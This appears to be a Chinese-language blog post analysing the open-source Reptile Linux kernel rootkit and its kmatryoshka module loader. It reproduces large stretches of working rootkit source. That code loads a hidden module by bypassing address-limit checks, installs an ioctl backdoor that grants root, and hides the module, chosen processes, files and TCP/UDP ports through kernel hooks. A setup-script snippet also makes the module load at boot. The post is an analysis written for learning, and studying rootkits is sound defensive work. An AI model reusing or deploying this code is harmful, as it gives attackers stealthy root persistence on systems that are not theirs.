zoukankan      html  css  js  c++  java
  • LKM rootkit:Reptile学习

    简介

    Reptile是github上一个很火的linux lkm rootkit,最近学习了一些linux rootkit的内容,在这里记录一下。

    主要是分析reptile的实现

    Reptile的使用

    安装命令:

    sudo ./setup.sh install

    然后执行下面的命令

    /reptile/reptile_cmd show

    接着就可以看到/reptile目录下的一些东西了,这是项目安装在系统中的一些文件,在安装完成后,默认是隐藏的。具体的执行命令就不再这里赘述了

    会出现下面这些程序

    Reptile原理分析

    Reptile使用了两个其他的项目

    1、khook:一个内核钩子框架,具体分析可以看这里https://www.cnblogs.com/likaiming/p/10970543.html

    2、kmatryoshka:一个动态的模块加载器

    这里先分析一下kmatryoshka的实现

    kmatryoshka

    parasite_loader/main.c中的init_module函数是入口函数。encrypt目录下代表的都是加密相关部分。

    整个loader是作为一个模块插入到内核中去的,这个模块的功能是加载用户空间的模块,使用的就是init_module函数的系统调用处理函数sys_init_module,它是一个导出函数,通过查找kallsyms得到该函数的地址,就可以使用。

    首先看寻找sys_init_module的实现,使用的是kallsyms_on_each_symbol函数,传入一个寻找函数就可以从找到符号地址,实现使用的就是下面这两个函数,在data[0]放入要寻找的内容,data[1]放入结果。

    static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
    {
        int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) {
            if (!name[i++]) return !!(data[1] = addr);
        } return 0;
    }
    
    static inline unsigned long ksym_lookup_name(const char *name)
    {
        unsigned long data[2] = { (unsigned long)name, 0 };
        kallsyms_on_each_symbol((void *)ksym_lookup_cb, data);
        return data[1];
    }

    然后在init_module函数中这样调用

    sys_init_module = (void *)ksym_lookup_name("sys_init_module");

    再获取到符号地址后,在传入parasite_blob,也就是目的模块的地址时,还需要thread_info结构中的addr_limit,这个是表示用户地址空间地址的最大值,在init_module函数中,会对地址做校验,使用的就是addr_limit,这里就会修改一下这个值,保证地址检查通过。

    if (sys_init_module) {
            const char *nullarg = parasite_blob;
            unsigned long seg = user_addr_max();
    
            while (*nullarg) nullarg++;
    
            user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE);
            sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg);
            user_addr_max() = seg;
        }

    Reptile

    回到Reptile,主目录下,parasite_loader就是上面讲到的项目,khook就是内核钩子的框架,sbin是用户态的一些程序,reptile_cmd等这些程序都使通过sbin下面的程序编译出来的,script下面的脚本是生成的一些脚本存放目录,下面的内容在安装完成后自动删除了。loader下面的程序也比较简单,主要的逻辑写在rep_mod中,下面主要说一下这个文件中各个函数的功能

     主函数,khook_init用来初始化khook,magic_packet_hook_options则是netlink钩子,START在setup脚本中被设置成reptile_start,

    static int __init reptile_init(void)
    {
        int ret;
        char *argv[] = {START, NULL, NULL};
    
        //创建工作线程
        work_queue = create_workqueue(WORKQUEUE);
    
        ret = khook_init();
    
        if (ret != 0)
            goto out;
    
        magic_packet_hook_options.hook = (void *)magic_packet_hook;
        magic_packet_hook_options.hooknum = 0;
        magic_packet_hook_options.pf = PF_INET;
        magic_packet_hook_options.priority = NF_IP_PRI_FIRST;
    
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0)
        nf_register_net_hook(&init_net, &magic_packet_hook_options);
    #else
        nf_register_hook(&magic_packet_hook_options);
    #endif
        
        exec(argv);
        hide();
    out:
        return ret;
    }
    //不允许普通进程找到特殊进程
    KHOOK(find_task_by_vpid);
    struct task_struct *khook_find_task_by_vpid(pid_t vnr)
     
    //特权进程的TIF_SYSCALL_AUDIT位要被取消,这个标志位在thread_info结构
    KHOOK(audit_alloc);
    static int khook_audit_alloc(struct task_struct *t)
     
    //清理cred结构的时候清除特权进程标志位
    KHOOK(exit_creds);
    static void khook_exit_creds(struct task_struct *p)
     
    //特权进程的子进程也需要有特权
    KHOOK(copy_creds);
    static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags)
     
    //装载可执行文件的时候
    KHOOK_EXT(int, load_elf_binary, struct linux_binprm *);
    static int khook_load_elf_binary(struct linux_binprm *bprm)
    /*
    用户空间读物UDP端口使用/proc/net/udp,这个文件的seq_ops的show操作是udp4_seq_show
    隐藏udp端口
    */
    KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *);
    static int khook_udp4_seq_show(struct seq_file *seq, void *v)
    /*
    用户空间读物UDP端口使用/proc/net/tcp,这个文件的seq_ops的show操作是tcp4_seq_show
    隐藏tcp端口
    */
    KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *);
    static int khook_tcp4_seq_show(struct seq_file *seq, void *v)

    netlink钩子

    KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long);
    static int khook_inet_ioctl(struct socket *sock, unsigned int cmd,
                    unsigned long arg)
    {
        int ret = 0;
        unsigned int pid;
        struct control args;
        struct sockaddr_in addr;
        struct hidden_conn *hc;
    
        if (cmd == AUTH && arg == HTUA) {
            if (control_flag) {
                control_flag = 0;
            } else {
                control_flag = 1;
            }
    
            goto out;
        }
    
        if (control_flag && cmd == AUTH) {
            if (copy_from_user(&args, (void *)arg, sizeof(args)))
                goto out;
    
            switch (args.cmd) {
            //0则更改隐藏或是显示
            case 0:
                if (hide_module) {
                    show();
                    hidden = 0;
                } else {
                    hide();
                    hidden = 1;
                }
                break;
            case 1://根据pid设置进程的可见性
                if (copy_from_user(&pid, args.argv, sizeof(unsigned int)))
                    goto out;
    
                if (is_invisible(pid))
                    flag_tasks(pid, 0);
                else
                    flag_tasks(pid, 1);
    
                break;
            case 2:
                if (file_tampering)
                    file_tampering = 0;
                else
                    file_tampering = 1;
                break;
            case 3://提权
    #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
                current->uid = 0;
                current->suid = 0;
                current->euid = 0;
                current->gid = 0;
                current->egid = 0;
                current->fsuid = 0;
                current->fsgid = 0;
                cap_set_full(current->cap_effective);
                cap_set_full(current->cap_inheritable);
                cap_set_full(current->cap_permitted);
    #else
                commit_creds(prepare_kernel_cred(0));
    #endif
                break;
            case 4://增加隐藏tcp端口
                if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                    goto out;
    
                hc = kmalloc(sizeof(*hc), GFP_KERNEL);
    
                if (!hc)
                    goto out;
    
                hc->addr = addr;
    
                list_add(&hc->list, &hidden_tcp_conn);
                break;
            case 5://删除隐藏tcp端口
                if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                    goto out;
    
                list_for_each_entry(hc, &hidden_tcp_conn, list)
                {
                    if (addr.sin_port == hc->addr.sin_port &&
                        addr.sin_addr.s_addr ==
                        hc->addr.sin_addr.s_addr) {
                        list_del(&hc->list);
                        kfree(hc);
                        break;
                    }
                }
                break;
            case 6://增加隐藏tcp端口
                if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                    goto out;
    
                hc = kmalloc(sizeof(*hc), GFP_KERNEL);
    
                if (!hc)
                    goto out;
    
                hc->addr = addr;
    
                list_add(&hc->list, &hidden_udp_conn);
                break;
            case 7://删除隐藏tcp端口
                if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in)))
                    goto out;
    
                list_for_each_entry(hc, &hidden_udp_conn, list)
                {
                    if (addr.sin_port == hc->addr.sin_port &&
                        addr.sin_addr.s_addr ==
                        hc->addr.sin_addr.s_addr) {
                        list_del(&hc->list);
                        kfree(hc);
                        break;
                    }
                }
                break;
            default:
                goto origin;
            }
    
            goto out;
        }
    
    origin:
        ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg);
    out:
        return ret;
    }
    View Code
    //读操作钩子
    KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *);
    static ssize_t khook_vfs_read(struct file *file, char __user *buf,
                 size_t count, loff_t *pos)
    /*
    getdents流程中的一个操作
    说到文件隐藏,我们不妨先看看文件遍历的实现, 也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c ),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir
    filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里
    */
    filldir这些函数
    KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
    static int khook_fillonedir(void *__buf, const char *name, int namlen,
                    loff_t offset, u64 ino, unsigned int d_type)
    {
        int ret = 0;
        if (!strstr(name, HIDE) || !hidden)
            ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type);
        return ret;
    }
    
    KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int);
    static int khook_filldir(void *__buf, const char *name, int namlen,
                 loff_t offset, u64 ino, unsigned int d_type)
    {
        int ret = 0;
        if (!strstr(name, HIDE) || !hidden)
            ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type);
        return ret;
    }
    
    KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int);
    static int khook_filldir64(void *__buf, const char *name, int namlen,
                   loff_t offset, u64 ino, unsigned int d_type)
    {
        int ret = 0;
        if (!strstr(name, HIDE) || !hidden)
            ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type);
        return ret;
    }
    
    KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int);
    static int khook_compat_fillonedir(void *__buf, const char *name, int namlen,
                       loff_t offset, u64 ino, unsigned int d_type)
    {
        int ret = 0;
        if (!strstr(name, HIDE) || !hidden)
            ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type);
        return ret;
    }
    
    KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int);
    static int khook_compat_filldir(void *__buf, const char *name, int namlen,
                    loff_t offset, u64 ino, unsigned int d_type)
    {
        int ret = 0;
        if (!strstr(name, HIDE) || !hidden)
            ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type);
        return ret;
    }
    
    #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0)
    KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int);
    static int khook_compat_filldir64(void *__buf, const char *name, int namlen,
                      loff_t offset, u64 ino, unsigned int d_type)
    {
        int ret = 0;
        if (!strstr(name, HIDE) || !hidden)
            ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type);
        return ret;
    }
    #endif
    
    #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)
    KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *);
    struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name)
    #else
    KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *);
    struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name)
    #endif
    {
        struct dentry *found = NULL;
        if (!strstr(name->name, HIDE) || !hidden)
            found = KHOOK_ORIGIN(__d_lookup, parent, name);
        return found;
    }
    
    KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter);
    static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter)
    {
        if (hidden) {
            while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) {
                if (!(iter.task->flags & FLAG))
                    break;
    
                iter.tgid++;
            }
        } else {
            iter = KHOOK_ORIGIN(next_tgid, ns, iter);
        }
        return iter;
    }
    View Code
    //隐藏内容
    int hide_content(void *arg, ssize_t size)
     
    /*
    写在<$TAG></$TAG>中间的内容
    */
    //检查是否有需要隐藏的内容
    int f_check(void *arg, ssize_t size)
     
    //看这个进程是否被隐藏了,0表示被隐藏
    int is_invisible(pid_t pid)
     
    //set=0表示清楚特权,set=1表示设置特权,设置pid位
    int flag_tasks(pid_t pid, int set)
     
    //重新显示这个模块
    void show(void)
     
    //从全局module链表中删除本模块
    void hide(void)
     

    驻留

    setup脚本中,有让模块在启动时被加载的设置

        if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then
            echo -ne "#<$TAG>
    $MODULE
    #</$TAG>" >> /etc/modules || { echo -e "e[01;31mERROR!e[00m
    "; exit; }
        elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then
            echo -ne "#<$TAG>
    modprobe $MODULE
    #</$TAG>" >> /etc/rc.modules && 
            chmod +x /etc/rc.modules || { echo -e "e[01;31mERROR!e[00m
    "; exit; }
        #elif [ "$SYSTEM" == "arch" ]; then
        #    echo -ne "#<$TAG>
    $MODULE
    #</$TAG>" >> /etc/modules || { echo -e "e[01;31mERROR!e[00m
    "; exit; }
        fi
     
     
     
     
     
  • 相关阅读:
    SPOJ ADAFIELD Ada and Field(STL的使用:set,multiset,map的迭代器)题解
    hdu 6444 网络赛 Neko's loop(单调队列 + 裴蜀定理)题解
    hdu6446 网络赛 Tree and Permutation(树形dp求任意两点距离之和)题解
    HDU6447 网络赛 YJJ's Salesman(DP + 线段树)题解
    HDU 6438 网络赛 Buy and Resell(贪心 + 优先队列)题解
    BZOJ 3155 Preprefix sum
    BZOJ 2743 采花
    BZOJ 3339 Rmq Problem
    BZOJ 1660 乱发节
    BZOJ 3531 旅行
  • 原文地址:https://www.cnblogs.com/likaiming/p/10987804.html
Copyright © 2011-2022 走看看